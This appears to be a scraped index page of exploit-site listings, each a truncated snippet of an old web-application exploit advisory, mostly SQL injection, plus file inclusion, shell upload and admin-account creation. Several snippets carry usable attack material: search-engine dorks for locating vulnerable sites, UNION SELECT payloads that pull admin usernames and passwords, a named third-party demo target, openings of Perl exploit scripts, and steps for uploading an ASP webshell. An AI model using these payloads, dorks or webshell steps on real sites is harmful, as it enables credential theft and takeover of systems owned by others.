CMS Ignition SQL Injection

|------------------------------------------------| | neavorc@gmaildotcom | ================================================== + SQL Injection Vulnerability + Dorks: allinurl:"shop.htm?shopMGID=" + Bug in shop.htm?shopMGID + Exploit: http://www.site.com/shop.htm?shopMGID=XXXX see below python...

ECShop2. 5. x&2.6. x injection exploit-vulnerability warning-the black bar safety net

ECShop2. 5. x&2.6. x goodsscript.php no initialization SQL, leading to injection vulnerabilities Effect 2. 5. x and 2. 6. x,other versions not tested goodsscript. php44 line:injection / admin credentials disclosure exploit if emptyempty$GET'type' ... elseif $GET'type' == 'collection' ... $sql .=...

Yamamah Photo Gallery 1.00 - 'calbums' SQL Injection

Yamamah Photo Gallery 1.00 SQL Injection Vulnerability Author : CoBRa21 Script Home : http://www.yamamah.org/ Dork : "Powered By : Yamamah Version 1.00" SQL Injection: http://localhost/path/?calbums=-2 union select 0,1,2,3,4,groupconcatusername,0x3a,password,6,7,8,9,10,11,12,13 from admin--...

Creato Script - SQL Injection

Title: Creato Script SQL Injection Vulnerability Version: 2.1 Author: Mr.P3rfekT Software Site: http://www.creato.biz Tested on Lunix CVE : N/A Founded By Mr.P3rfekT Dork : " created by creato.biz " Helllo Allz. Exploit : http://site/mainpage.php?id=SQLi Poc Username: union select...

OSC Visitor Web Stats SQL Injection

Popular OSC add-on Visitor Web Stats is completely vulnerable to SQL injections. Although it uses request data i. e. the Accept-Language header, there's no escaping at all. This also applies to the extension's derivative for OSC 3, who's author completely inherited the insufficient code structure...

e-Webtech SQL Injection

e-webtech fixedpage.asp SQL Injection Vulnerability Author : Fl0riX Name : e-webtech Bug Type : SQL Injection Infection : Admin login bilgileri alinabilir. Demo Vuln : http:// smsj.ca/fixedpage.asp?id=SQL Inj. User Exploit:null+union+all+select+1,username+from+adminpassword Password...

NKINFOWEB - SQL Injection

Software Link: http://jaist.dl.sourceforge.net/project/nkinfoweb/FunctionNkinfowebv.species.rar Tested on: several linux versions =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ !/usr/bin/perl use strict; use LWP::Simple; print "\n"...

NKINFOWEB - SQL Injection

NKINFOWEB - SQL Injection Software Link: http://jaist.dl.sourceforge.net/project/nkinfoweb/FunctionNkinfowebv.species.rar Tested on: several linux versions =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ !/usr/bin/perl use strict; u...

Design/Logic Flaw

IBM Lotus Notes 7.0, 8.0, and 8.5 stores administrative credentials in cleartext in SURunAs.exe, which allows local users to obtain sensitive information by examining this file, aka SPR JSTN837SEG...

CVE-2010-1487

IBM Lotus Notes 7.0, 8.0, and 8.5 stores administrative credentials in cleartext in SURunAs.exe, which allows local users to obtain sensitive information by examining this file, aka SPR JSTN837SEG...

MusicBox 3.3 - SQL Injection

MusicBox 3.3 - SQL Injection !/usr/bin/perl use LWP::Simple; print "\n"; print "\n"; print " MusicBox v 3.3 SQL INJECTION EXPLOIT \n"; print " Author: Ctacok Russian \n"; print " Special for Antichat forum.antichat.ru and xakep.ru \n"; print "\n"; print "\n Usage: exploit.pl host path "; print "\...

MusicBox v 3.3 SQL Injection Exploit

Exploit for php platform in category web applications ==================================== MusicBox v 3.3 SQL Injection Exploit ==================================== !/usr/bin/perl use LWP::Simple; print "\n"; print "\n"; print " MusicBox v 3.3 SQL INJECTION EXPLOIT \n"; print " Author: Ctacok...

Softbiz B2B trading Marketplace Script - buyers_subcategories SQL Injection

Exploit Title: Softbiz B2B trading Marketplace Script buyerssubcategories SQL Injection Vulnerability Date :15/4/2010 Author : AnGrY BoY Contact: [email protected] & [email protected] Home : http://www.kurd-security.com Software Link : N/A Version : Softbiz B2B trading Marketplace Script Tested o...

TSP 0.1d Multiple File Inc Vulnerability / Admin Credentials Disclosure

Exploit for php platform in category web applications =========================================================================== TSP 0.1d Multiple File Include Vulnerability / Admin Credentials Disclosure =========================================================================== Exploit Title:...

Luo letter network built station of 0DAY-vulnerability warning-the black bar safety net

Baidu or google "technical support：Luo letter network" Background address: site+lx Database address: site+lx+databases+Main Domain Name. asp need to guess Account&password: admin admin Down is to get the shell Important part: upload the jpg format of the asp horse Database backup,Please note that...

AdaptCMS Lite 1.5 - Arbitrary Add Admin

=========================================================================== Topic : AdaptCMSLite1.5 2009-07-07 Bug type : change admin user,passwd & add new admin user exploit Download : http://sourceforge.net/projects/adaptcms/files/AdaptCMS%20Lite%20v1/1.5/AdaptCMSLite1.5.zip/download Advisory ...

Sphider <= 1.3.4 shell upload vulnerability

Exploit for unknown platform in category web applications =========================================== Sphider Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 0 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1 + Discovered By : Inj3ct0r + Site...

CD Rentals SQL Injection

/ ! CD Rentals Script SQL injection Vulnerability ! Author : Don Tukulesto [email protected] ! Homepage : http://www.indonesiancoder.com ! Date & Time : Thu Feb 10, 2010 5:55 PM ! Rock On : http://antisecradio.fm choose your weapon / Software Information + Vendor :...

Vacation Rental Script - SQL Injection

Vacation Rental Script - SQL Injection ::::::::::::::::::::::::: Exploit Title : vacation Rental Script SQL injection Vulnerability Author : JaMbA Script Site : www.commodityrentals.com Version : All Versions Tested on : Windows & Linux :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::...

Vacation Rental Script - SQL Injection

::::::::::::::::::::::::: Exploit Title : vacation Rental Script SQL injection Vulnerability Author : JaMbA Script Site : www.commodityrentals.com Version : All Versions Tested on : Windows & Linux ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::...